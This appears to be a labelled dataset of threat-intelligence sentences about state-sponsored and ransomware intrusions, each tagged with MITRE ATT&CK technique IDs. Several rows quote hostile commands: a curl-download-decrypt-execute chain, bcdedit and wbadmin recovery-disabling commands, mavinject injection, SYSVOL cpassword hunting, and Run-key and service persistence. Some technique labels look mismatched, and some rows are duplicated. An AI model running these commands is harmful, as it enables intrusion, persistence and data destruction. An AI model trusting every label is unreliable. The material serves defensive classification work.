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Chinese state-sponsored cyber actors have been observed using Nbtscan and nmap to scan and enumerate target network information. | ['T1046'] |
Chinese state-sponsored cyber actors have been observed using Base-64 encoded commands, including ping, net group, and net user to enumerate target network information. | ['T1018'] |
Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user. Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources. | ['T1210'] |
Chinese state-sponsored cyber actors used compression and encryption of exfiltration files into RAR archives, and subsequently utilizing cloud storage services for storage. | ['T1560'] |
Chinese state-sponsored cyber actors have been observed using the mv command to export files into a location, like a compromised Microsoft Exchange, IIS, or emplaced webshell prior to compressing and exfiltrating the data from the target network. | ['T1074'] |
Chinese state-sponsored cyber actors have been observed using the New-MailboxExportRequest PowerShell cmdlet to export target email boxes. | ['T1114'] |
Chinese state-sponsored cyber actors have been observed: Using commercial cloud storage services for command and control. Using malware implants that use the Dropbox API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive API. | ['T1071'] |
Chinese state-sponsored cyber actors have been observed using a non-standard SSH port to establish covert communication channels with VPS infrastructure. | ['T1571'] |
Chinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity. Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs. | ['T1090.003'] |
The actors used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144 to gain privileged remote code execution on vulnerable Microsoft Exchange servers. In some cases, this exploitation occurred after valid credentials were identified by password spray, as these vulnerabilities require authentication as a valid user. | ['T1190'] |
The actors used a compromised Office 365 service account with Global Administrator privileges to collect email from user inboxes. | ['T1078.002'] |
The actors used a modified and obfuscated version of the reGeorg web shell to maintain persistent access on a target's Outlook Web Access (OWA® ) server. | ['T1505.003'] |
The actors operate a Kubernetes cluster, which allows them to conduct distributed and large-scale targeting using password spray and password guessing | ['T1110.003'] |
The actors dumped LSASS process memory by using 'rundll32.exe' to execute the MiniDump function exported by the native Windows® DLL 'comsvcs.dll'. | ['T1003.001'] |
The actors mapped network drives using 'net use' and administrator credentials. | ['T1021.002'] |
The actors collected email from Office 365 using a compromised valid service account with elevated privileges. | ['T1114.002'] |
The actors named one instance of their web shell 'outlookconfiguration.aspx' likely for the purpose of appearing to be a legitimate webpage on a targeted OWA server. | ['T1036.005'] |
The actors downloaded archives of collected data previously staged on a target's OWA server via HTTPS. | ['T1048.002'] |
The actors split some archived exfiltration files into chunks smaller than 1MB. | ['T1030'] |
SVR target organisations who supply privileged software to intelligence targets. | ['T1195.002'] |
SVR leveraged access gained from the SolarWinds campaign to compromise a certificate issued by Mimecast, which it then used to authenticate a subset of Mimecast's products with customer systems. | ['T1199'] |
The Iranian government-sponsored APT actors gained initial access by exploiting vulnerabilities affecting Microsoft Exchange servers (CVE-2021-34473) and Fortinet devices (CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591) | ['T1190'] |
The Iranian government-sponsored APT actors may have established new user accounts on domain controllers, servers, workstations, and active directories. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity: Support Help elie WADGUtilityAccount | ['T1136.001', 'T1136.002'] |
The APT actors forced BitLocker activation on host networks to encrypt data [T1486]. The corresponding threatening notes were either sent to the victim or left on the victim network as a .txt file. The ransom notes included ransom demands and the following contact information. sar_addr@protonmail[.]com WeAreHere@secmail[.]pro nosterrmann@mail[.]com nosterrmann@protonmail[.]com | ['T1486'] |
The actors used two Impacket tools: wmiexec.py and smbexec.py. | ['T1059.006'] |
Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. | ['T1129'] |
Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards. | ['T1070.004'] |
Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. | ['T1497.001', 'T1497.001'] |
The execution of the malicious PuTTY binary resulted in the deployment of a backdoor to the host. The deployed backdoor is an evolution of the malware family Mandiant tracks as AIRDRY. | ['T1218'] |
In the PuTTY sample discovered on VirusTotal, the malicious code was inserted into the ssh2_userauth_process_queue function (source file: putty-0.77\ssh\userauth2-client.c). The code resides in the part of the function responsible for performing password authentication, as opposed to other methods such as public key or keyboard-interactive authentication. Once the user establishes a connection and enters their username and password, the malicious code is executed regardless of the authentication result. | ['T1480'] |
In the PuTTY sample discovered on VirusTotal, the malicious code was inserted into the ssh2_userauth_process_queue function (source file: putty-0.77\ssh\userauth2-client.c). The code resides in the part of the function responsible for performing password authentication, as opposed to other methods such as keyboard-interactive authentication or public key. Once the user establishes a connection and enters their username and password, the malicious code is executed regardless of the authentication result. | ['T1480'] |
The size of the PuTTY binary downloaded by the victim is also substantially larger than the legitimate version. Upon closer inspection, it has a large, high entropy .data section in comparison to the officially distributed version (Figure 3). Sections like these are typically indicative of packed or encrypted data. | ['T1027.002'] |
The additional layer is position independent shellcode containing a reflective DLL loader. The loader decrypts an RC4 encrypted payload and loads it in memory. The code itself is a straight forward loader with the exception of some interesting artifacts identified during analysis. | ['T1620'] |
Commands passed as arguments into e.py were also seen being executed by the targeted Windows guest machine, running as a child process under vmtoolsd.exe. This execution chain can be seen in Figure 5. The parent binary /bin/rdt was not present on disk but was able to be recovered by dumping the processes memory of the ESXi hypervisor. The python script that sent out commands to the guest machines, e.py, was unable to be recovered. | ['T1202'] |
Deleted File created by vmtoolsd.exe and executed by vmtoolsd.exe child process. | ['T1070.004'] |
The payload was an AutoIT downloader that retrieved and executed additional PowerShell from hxxps://85.206.161[.]216:8080/HomePage.htm. The follow-on PowerShell profiled the target system’s architecture, downloaded the appropriate variant of PowerSploit (MD5: c326f156657d1c41a9c387415bf779d4 or 0564706ec38d15e981f71eaf474d0ab8), and reflectively loaded PUPYRAT (MD5: 94cd86a0a4d747472c2b3f1bc3279d77 or 17587668AC577FCE0B278420B8EB72AC). | ['T1620'] |
Efforts to decrease operational visibility included placing tool and output files within temporary file system mount points that were stored in volatile memory. Additionally, UNC1945 used built-in utilities and public tools to modify timestamps and selectively manipulate Unix log files. | ['T1070.006'] |
UNC1945 employed anti-forensics techniques with the use of a custom ELF utility named LOGBLEACH. The actor used built-in Linux commands to alter the timestamps of files and directories and used LOGBLEACH to clean logs to thwart forensic analysis, as seen in Figure 4. | ['T1070.006'] |
BOATLAUNCH is a utility sent from FIN7 POWERPLANT controllers that is used as a helper module during intrusion operations. BOATLAUNCH is used to patch PowerShell processes on infected systems to bypass Windows AntiMalware Scan Interface (AMSI). The malware loops, looking for unpatched PowerShell processes, and for each unpatched process the malware locates and patches amsi.dll!AmsiScanBuffer with a 5-byte instruction sequence to always return S_OK. The technique used to patch AMSI is a variation of publicly described common AMSI bypass techniques. Both 32bit and 64bit variants of BOATLAUNCH have been observed using the following export directory DLL names. | ['T1055'] |
Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine. The threat actor used route print to display the entries in the local IP routing table. | ['T1016'] |
Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP. | ['T1049'] |
Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine. The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running | ['T1057'] |
Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine | ['T1082'] |
Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system. | ['T1083'] |
Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest. The actors used dir.exe to display a list of a directory's files and subdirectories matching a certain text string. | ['T1039'] |
The actors split collected files into approximately 3 MB chunks located on the Exchange server within the CU2\he\debug directory. | ['T1074.002'] |
Conti ransomware deletes Windows Volume Shadow Copies using vssadmin. | ['T1490'] |
Conti ransomware stops up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop. | ['T1489'] |
Conti ransomware can spread itself by infecting other remote machines via network shared drives. | ['T1080'] |
Conti ransomware can retrieve the ARP cache from the local system by using the GetIpNetTable() API call and check to ensure IP addresses it connects to are for local, non-internet systems. | ['T1016'] |
Using mavinject.exe (Microsoft Application Virtualization Injector), it does code injection into explorer.exe with its payload DriverGFY.db. The technique the attacker is using here is Process Injection in the Mitre ATT&CK Framework. The command executed at runtime for doing code injection is shown below: C:\Windows\System32\cmd.exe" /c mavinject.exe 568 /injectrunning c:\Drivers\DriverGFY.db" | ['T1218.013'] |
The script queries WMI to list all the explorer.exe processes, where it will try to inject the malicious payload. For the injection, the attackers used Mavinject (a legitimate Windows component that can be used and abused) to perform arbitrary code injections inside any running process. Mavinject.exe has been abused for several years, as indicated in this blog from 2017. | ['T1218.013'] |
Raspberry Robin leverages rundll32.exe followed by shell32.dll and calls the ShellExec_RunDLL or ShellExec_RunDLLA functions to execute the DLL via the processes such as odbcconf.exe, msiexec.exe and control.exe. | ['T1218.008', 'T1218.007', 'T1218.002', 'T1218.011'] |
Compiled HTML File (CHM) are commonly Microsoft help files. These file will be a compiled HTML files that includes documents , image , scripts etc. Hackers will abuse these files to embed malicious payload with CHM files. CHM files can be executed by HH.exe , which is a Microsoft windows utility. Adversaries use this techniques to evade AV or application blacklisting techniques. | ['T1218'] |
When users run the malicious CHM file, the HTM file’s code is executed. The script decompiles the CHM file through hh.exe and runs LBTWiz32.exe. It then creates a normal image file (KBSI_SNS_003.jpg) on the PC screen, making it difficult for users to recognize malicious behaviors. | ['T1218'] |
LBTWiz32.exe that is run is a normal program. However, the malicious DLL (LBTServ.dll) created on the same path through DLL hijacking is loaded and starts operating. The malicious DLL creates and executes a malicious VBE file (ReVBShell) in the %TEMP% folder. Figures 2 to 4 show parts of the decoded VBE code. | ['T1574'] |
Mimikatz creates a new server and nTDSDSA objects in the Active Directory forest Configuration partition. Next, it updates the SPN (Service Principal Name) of the computer hosting the rogue domain controller to “GC” (Global Catalog) and “E3514235-4B06-11D1-AB04-00C04FC2DCD2” (Active Directory Replication). The rogue domain controller is now registered and capable of replicating data to other domain controllers. | ['T1207'] |
this is a late-stage kill chain attack that allows a threat actor with admin (domain or enterprise admin) credentials to leverage the replication mechanism in AD to register a rogue domain controller in order to inject backdoor changes to an AD domain. With that rogue DC, the attacker can manipulate AD data, including objects, and schemas. | ['T1207'] |
With DCShadow, attackers no longer have to replicate data, but can register new domain controllers in the targeted infrastructure to inject backdoor changes in AD objects, or alter existing ones by replacing the attributes’ values. | ['T1207'] |
If an attacker has domain admin permissions, he can steal the DC backup key and as a result, decrypt all the domain users’ master keys. The Mimikatz module allowing to extract the domain backup key is lsadump::backupkeys. This module first calls the API functions LsaOpenPolicy with POLICY_GET_PRIVATE_INFORMATION as the DesiredAccess argument, so it will be able to call the function LsaRetrievePrivateData after- | ['T1207'] |
The Nefilim ransomware creates a new wermgr.exe (the Windows error reporting manager) process and injects its payload to evade process-based defenses. | ['T1055'] |
Nefilim uses WerFault.exe and wermgr.exe for DLL Side Loading, a defense evasion technique used by adversaries to execute malicious payloads by hijacking the library manifest used to load DLLs. Werfault.exe is the Windows Error Reporting binary used by many different programs to report errors. | ['T1574.002'] |
Nefilim uses the following ‘timeout’ command to delay the execution of the ‘del’ command. Adversaries use this command also to evade sandbox analysis. C:\Windows\System32\cmd.exe" /c timeout /t 3 /nobreak" | ['T1497.003'] |
The Nefilim ransomware uses IsDebuggerPresent, CheckRemoteDebuggerPresent, and NtQueryInformationProcess API functions to check if a user-mode debugger is running. Debuggers are used by security analysts to inspect malware’s behavior at the run-time. In the presence of a debugger, malware samples exhibited less malicious behavior. Moreover, Nefilim uses the NtSetInformationThread API function to evade debugging. | ['T1518.001'] |
Nefilim reads the hosts file (C:\Windows\System32\drivers\etc\hosts) to get a listing of other systems by IP addresses and hostnames on the network that may be used for Lateral Movement from the current system. | ['T1018'] |
The Nefilim ransomware downloads the Psexec.exe tool, and it also abuses the Windows built-in WMI (Windows Management Instrumentation) utility for lateral movement. PsExec is a free Microsoft tool that can be used to execute commands and binaries on remote systems and download or upload a file over a network share. Nefilim uses PsExec and WMI with hard-coded admin credentials to remotely execute the batch files and the ransomware file in remote hosts. | ['T1570'] |
The Nefilim ransomware creates a DirectInput object using the DirectDrawCreateEx function to capture keystrokes. Keylogging is both a Credential Access and Collection tactic. | ['T1056.001'] |
Like other ransomware threats, Nefilim encrypts files on the target system using AES-128 and adds NEFILIM, NEPHILIM, MERIN, TRAPGET, MEFILIN, TELEGRAM, SIGARETA, or OFFWHITE extension to encrypted files. It uses an RSA-2048 public key embedded in the ransomware executable to encrypt the AES encryption key. It also adds a file that includes the ransom note to the root directory, such as C:\NEFILIM-DECRYPT.txt. | ['T1486'] |
Deleting volume shadow copies is very typical behavior of ransomware. The Nefilim ransomware uses WMIC with the following command to delete all volume shadow copies on the system to prevent recovery. WMIC is a command-line utility to access WMI. | ['T1490'] |
Nefilim also uses bcdedit.exe twice to disable automatic Windows recovery features by modifying boot configuration data. bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures Moreover, the Nefilim ransomware uses wbadmin to delete the backup catalog: wbadmin delete catalog -quiet | ['T1490'] |
Mandiant assesses with moderate confidence that the threat actor obtained the session token from the operators of the info-stealer malware. These tokens were used by the actor via public VPN providers to authenticate to the target’s Microsoft 365 environment. | ['T1550.004'] |
To authenticate to vCenter the threat actor used a stolen session cookie for a Privileged Access Management (PAM) account. | ['T1550.004'] |
In a particular campaign, Mandiant identified that the threat actor performed initial reconnaissance via a VPS provider located in the same region as the victim. Mandiant believes a misconfiguration by the threat actor meant that the VPN services running on the VPS stopped functioning after 8 hours. | ['T1583.003'] |
APT41 used a malware variant called WIDETONE to conduct port scans on the specified subnets. | ['T1046'] |
Figure 7 shows how DCRat collects the public IP address from the compromised host by accessing the IP web service named as “https[:]//ipinfo[.]io/json”. | ['T1590.005'] |
DCRat will also drop a .bat file containing a script that runs the W32tm “stripchart” command on the compromised host. This command is used as a delay tactic for its execution and beaconing. | ['T1124'] |
The following analytic detects a powershell script that enumerates the camera mounted to the targeted host. | ['T1592.001'] |
The malware creates a shortcut %APPDATA%\dotNET.lnk pointing to the copy of the malware under %APPDATA%. | ['T1547.009'] |
We detect the attachment file as W97M/Adnel or MHT/Dloader. This macro malware is usually attached in the spam emails as .doc files. It uses social engineering tricks to be able to run the malicious macro script that is disabled by default in Microsoft Office. | ['T1586.001'] |
APT32 is widely known to use such social engineering techniques to trick a user into enabling macros, after which a file downloads multiple malicious payloads from remote servers. | ['T1586.001'] |
We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument. | ['T1218.004'] |
Version.dll and jucheck.exe are both important pieces of the execution chain used to launch BOOMMIC. Jucheck.exe is a legitimate java binary used to check for any updates. This file will load version.dll upon its execution. Version.dll is an unsigned and modified copy of a signed legitimate Windows DLL, normally found under %SYSTEMROOT%\System32, but retains its PE header. An additional import was added to the modified version.dll, which imports the malicious function from javafx_font.dll. | ['T1574.002'] |
Prior to executing BOOMMIC APT29 was observed creating persistence via a registry key for “Java Update” that would execute jucheck.exe from the directory that contained version.dll and the BOOMMIC payload. Figure 19: BOOMMIC Persistence reg add HKCU\software\Microsoft\Windows\CurrentVersion\Run" /v "Java Update" /t REG_SZ /d "c:\users\<redacted>\appdata\local\Java\jucheck.exe"" | ['T1112', 'T1547.001'] |
APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences. Passwords stored in this way are encrypted using a known scheme that can easily be decrypted. APT29 GPP password datamining C:\WINDOWS\system32\cmd.exe /C findstr /S /I cpassword \\DOMAIN\sysvol\DOMAIN\policies\*.xml | ['T1003.008'] |
One notable TTP observed by APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences. | ['T1552.006'] |
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, this will load and execute the DLL/EXE in to memory without writing any files to disk. | ['T1620'] |
Attackers modified the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. | ['T1553'] |
A threat actor can craft a malicious file that would evade Mark of the Web (MOTW) defenses, resulting in a limited loss of integrity and availability of security features, which rely on MOTW tagging – for example, ‘Protected View’ in Microsoft Office. This zero-day has a moderate CVSS risk score of 5.4, because it only helps to avoid the Microsoft Defender SmartScreen defense mechanism, which has no RCE or DoS functionality. | ['T1553.005'] |
Figure 9: Call to DeleteFileW to remove the :Zone.Identifier Flag from the dropped copy. | ['T1553.005'] |
CVE-2022-42821 allows hackers to bypass Gatekeeper by setting restrictive Access Control Lists (ACLs) using specially-crafted payloads that prohibit Safari, web downloaders or any other program through which an app is downloaded from setting com.apple.quarantine attribute to the downloaded file/application/software. | ['T1553.001'] |
The app executes the following shell command to download a custom-compiled version of the EggShell server for macOS: nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/master/info.enc; openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq; python /tmp/.info.py The first part of the command downloads an encoded file from a Github page belonging to a user named youarenick" and saves that file to a hidden file named .info.enc in /private/tmp/. Next, it uses openssl to decode that file into a hidden Python file named .info.py. Finally, it executes the resulting Python script." | ['T1553.001'] |
To summarize, the Mach-O does the following: Downloads a file from the URL supplied as an argument Decrypts this file using AES-128-EBC and TEA with a custom delta Writes the resulting file to $TMPDIR/airportpaird and makes it executable Uses the privilege escalation exploit to remove the com.apple.quarantineattribute from the file to avoid asking the user to confirm the launch of the unsigned executable | ['T1553.001'] |
copy %~dp0%DLL_NAME%" "%WORK_DIR%" /Y reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%" SC failure "%SERVICE_NAME%" reset= 86400 actions=" | ['T1055'] |
The loaded assembly, obfuscated with an Agile.NET obfuscator, hollows a legitimate MSBuild.exe process and replaces it with its payload: the hex-encoded Panda Stealer binary from another paste.ee URL. | ['T1055.012'] |
Carbanak also performs techniques for disabling security tools, deleting files that are left in malicious activity, and modifying registry to hide configuration information. | ['T1562.001', 'T1070.004', 'T1112'] |
Carbanak also performs brute force tactics or takes advantage of credentials that are saved in web browsers. | ['T1110'] |
BAT files were used to download and execute the Cring ransomware on the other systems in the compromised network. It also uses the Windows CertUtil program to help with the said download. | ['T1105'] |
The ransomware can also get into the system through certain vulnerability exploits.. The abuse of the aforementioned Adobe ColdFusion flaw (CVE-2010-2861) to enter the system is a new development for the threat. In the past, Cring was also used to exploit a FortiGate VPN server vulnerability (CVE-2018-13379). | ['T1203', 'T1588.006', 'T1587.004', 'T1499.004', 'T1190', 'T1210', 'T1588.005'] |
Lateral movement was done through Cobalt Strike. This tool was also used to distribute BAT files that will be used later for various purposes, including impairing the system’s defenses. | ['T1588.002', 'T1562', 'T1570'] |
Monero miner scripts are downloaded from TeamTNT’s server and piped to “bash” using a SSH session on the underlying host as the “root” user by supplying the private key from “/tmp/TeamTNT.” Later, the private key “/tmp/TeamTNT” is removed as well. | ['T1098.004', 'T1195', 'T1588.002', 'T1059.004', 'T1021.004', 'T1552.004', 'T1588.001'] |
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